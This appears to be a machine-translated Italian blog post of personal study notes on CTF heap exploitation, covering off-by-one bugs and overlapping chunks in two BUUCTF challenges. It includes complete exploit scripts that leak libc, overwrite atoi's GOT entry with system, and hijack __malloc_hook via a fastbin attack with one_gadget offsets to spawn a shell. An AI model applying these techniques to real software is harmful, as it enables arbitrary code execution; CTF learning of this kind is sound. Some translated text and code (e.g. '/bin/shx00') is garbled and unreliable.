Condivisione della tecnologia

Informazioni sull'apprendimento individuale

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Le basi del pwn sono ancora molto superficiali. Registro solo parte della mia esperienza di apprendimento.
Man mano che lo studio procede, verranno aggiunti ulteriori punti di conoscenza e domande.

Punti di conoscenza

Ottimo materiale di studio

Riepilogo dell'apprendimento di off da null |

Estensione e sovrapposizione dei blocchi | ctfwiki

Un po' di comprensione

Strettamente correlati all'off-by-one sono Chunk Extend e Overlapping menzionati sopra.
Questo viene spesso definito "blocchi sovrapposti".
Perché creare blocchi sovrapposti?
Se ad esempio vogliamo riscrivere il campo header di un pezzo, cioè i segmenti prev_size e size, sicuramente non potremo modificarlo applicando direttamente.
Un'idea è costruire un pezzo falso fuori posto. Un'altra idea più semplice è creare pezzi sovrapposti. Modificando la dimensione del bit, la parte dei dati utente di un pezzo grande include l'intestazione della parte piccola che vogliamo modificare.

esempio

[buu] creatore di hitcontraining_heap

argomento

Penso che questa domanda sia un buon esempio di come utilizzare off-by-one. Le domande non sono molto difficili e i punti di utilizzo sono abbastanza intelligenti.

Decompilare per trovare scappatoie,
Immagine
Qui c'è un off-by artificiale e qui è possibile scrivere un byte in più.

Tornando all’assegnazione degli argomenti,Immagine
Innanzitutto, viene allocato un pezzo di dimensione 0x10 per memorizzare alcune informazioni, quindi viene allocato un pezzo per il contenuto.
Sarà molto chiaro se guardi il debug di gdb qui.

Ad esempio, il layout del blocco heap dopo aver aggiunto(0x28,'0'),aggiunto(0x10,'1')
Immagine

Puoi vedere che ogni volta che aggiungiamo, prima malloceremo un pezzo che memorizza le informazioni del blocco heap a un indirizzo basso, quindi malloceremo un pezzo che memorizza il contenuto.

Poi ho notato che le operazioni di modifica e visualizzazione vengono eseguite tutte in modo completoInformazioni sul blocco heapstruttura su "index", quindi se vogliamo divulgare libc, possiamo inserire le informazioni sul blocco heap di questo pezzo *content Il campo viene modificato nell'indirizzo della tabella ottenuta di una determinata funzione. Ad esempio, se in questa domanda viene utilizzato atoi, atoi_addr verrà stampato durante lo spettacolo.

Ciò comporta una situazione simile nel precedente "Piccola comprensione". Non possiamo modificare direttamente il contenuto del blocco che "memorizza le informazioni del blocco heap", quindi possiamo utilizzare off-by-one in modo più intelligente per implementare l'estensione del blocco heap. .

Ad esempio, se lo modifichiamo in questo modo, può effettivamente causare l'espansione e la sovrapposizione dei blocchi dell'heap.
Immagine

Parliamo dell'utilizzo specifico di seguito.

  1. Per prima cosa dobbiamo modificare un blocco heap "informazioni sull'heap di archiviazione".misurareparte.
    Questo passaggio può essere ottenuto attraverso una vulnerabilità off-by-one nello stack di contenuti sopra questo stack di informazioni.
  2. Quindi liberiamo l'indice del pezzo corrispondente a questo blocco dell'heap di informazioni.
  3. In questo momento, secondo l'implementazione di delete_heap
    Immagine

Sia il blocco dell'heap delle informazioni che quello dell'heap del contenuto saranno gratuiti, quindi in questo momento sono presenti due contenitori di dimensioni 0x20 e 0x40 nei fastbin.

Immagine

  1. In questo momento, aggiungiamo un blocco 0x30 e il fastbin 0x40 verrà applicato come blocco dello stack di contenuti e verrà richiesto un blocco dello stack di informazioni 0x20, quindi verrà richiesto anche il bin 0x20.

Immagine

  1. Il punto chiave di questa domanda è questoblocco informativo Vengono determinati la dimensione e il contenuto del pezzo corrispondente! Pertanto, il contenuto del blocco heap delle informazioni corrispondente può essere sovrascritto nel passaggio precedente di add(0x30). In questo modo, il contenuto può essere modificato nella tabella got di atoi e show(1) può far trapelare libc.
  2. Poiché l'indirizzo del contenuto di Chunk1 è stato modificato, edit(1) può modificare il contenuto della tabella got di atoi nel sistema, quindi inviare "/bin/shx00" per ottenere la shell.

Naturalmente, ci sono alcuni dettagli, come l'ultima selezione della dimensione menzionata di 0x18 e 0x28, e la necessità di riservare il contenuto dello stack di informazioni quando lo si modifica.misurarecampi (altrimenti la modifica finale non avrà la lunghezza necessaria per scriverla) e così via.

Esp:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

In realtà c’è un altro punto chiave in questa domanda, ed era anche il punto su cui all’inizio ero confuso. L'aggiunta iniziale del blocco 0 dell'EXP del Maestro ZIKH è 0x18 Nella mia pratica, modificarlo in 0x10 o 0x20 non ha funzionato, ma modificarlo in 0x28 ha funzionato.
Il debug ha rilevato che quando vengono modificati in 0x10, 0x20, i nostri dati utente non abiliteranno il blocco successivo.dimensione_precedenteDi.
Immagine

Quando si allocano 0x18, 0x28, ecc., il meccanismo ptmalloc2 riutilizzerà il segmento prev_size di next_chunk.
Immagine

emmm, infatti, in ultima analisi, non ho ancora abbastanza familiarità con heap. Dopotutto, solo guardando la spiegazione della wiki, ci sono così tanti punti di conoscenza e i dettagli sono complicati, rendendo difficile ricordarli. Naturalmente, l'ho riscontrato in un combattimento reale. Sarà molto meglio dopo averlo eseguito il debug da solo e averlo capito di nuovo.

[buu] roarctf_2019_easy_pwn

argomento

Il difetto della domanda è qui.Immagine

Quando a2-a1==10 è nell'if, ovvero quando la dimensione immessa dalla modifica è esattamente 10 più grande della dimensione aggiunta, si verifica un off-by-one.

Struttura di allocazione approssimativa
Immagine

Oppure usa il segmento bss per memorizzare l'inuse e l'inuse del pezzo.*content

Possiamo ancora utilizzare off-by-one combinato con le caratteristiche di 0x?8 size riutilizzare prev_size per falsificare prev_size e size per attivare l'unione forward (indirizzo basso)
Immagine

A questo punto, puoi vedere che l'unione viene attivata da free(2).
Immagine

A questo punto, se aggiungiamo(0x80) e poi mostriamo(1), possiamo effettivamente stampare il valore di main_arena+88.
Immagine

La mia comprensione è: l'add (0x80) qui serve per dividere il contenitore non ordinato, in modo che il puntatore fd (main_arena+88) venga spostato sul segmento Chunk1 che può essere mostrato.

A questo punto l'indirizzo base di libc è trapelato.
Sembra che le seguenti operazioni coinvolgano molti blocchi heap sovrapposti, quindi diamo un'occhiata al debug passo dopo passo.
Layout dell'heap in caso di perdita di libc
Immagine

add(0x68)
Immagine
(Taglia un pezzo dal contenitore non selezionato)

free(1)
(fastbin 0x70)
Immagine

edit(2,p64(malloc_hook-0x23))
(Qui approfittiamo del fatto che il pezzo2 di 0x68 richiesto nel passaggio precedente si sovrappone al pezzo1 appena liberato (il pezzo1 era stato richiesto all'inizio))
Immagine

add(0x68)
(Richiedendo il pezzo 1, in realtà è il pezzo 2)
Immagine

add(0x68)
(Applica per restituire il fake_chunk in malloc_hook-0x23)
Immagine

Quindi devi usare realloc per regolare lo stack frame e puoi ottenere la shell.

Quindi posso comunicare localmente, ma non da remoto.
Dopo aver esaminato l'Exp del Maestro ZIKH, devo utilizzare il local
realloc = libcbase + libc.sym['realloc']Cambia inrealloc = libcbase + 0x846c0
Quindi devi modificare il valore di one_gadget
Immagine

Questi due one_gadget hanno un offset, non so perché al momento. Forse ha qualcosa a che fare con la regolazione dello stack frame? (Scopri più tardi)

Gioca all'Exp locale:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

Locale:
Immagine

Da remoto:
Immagine


Riassumendo, è difficile.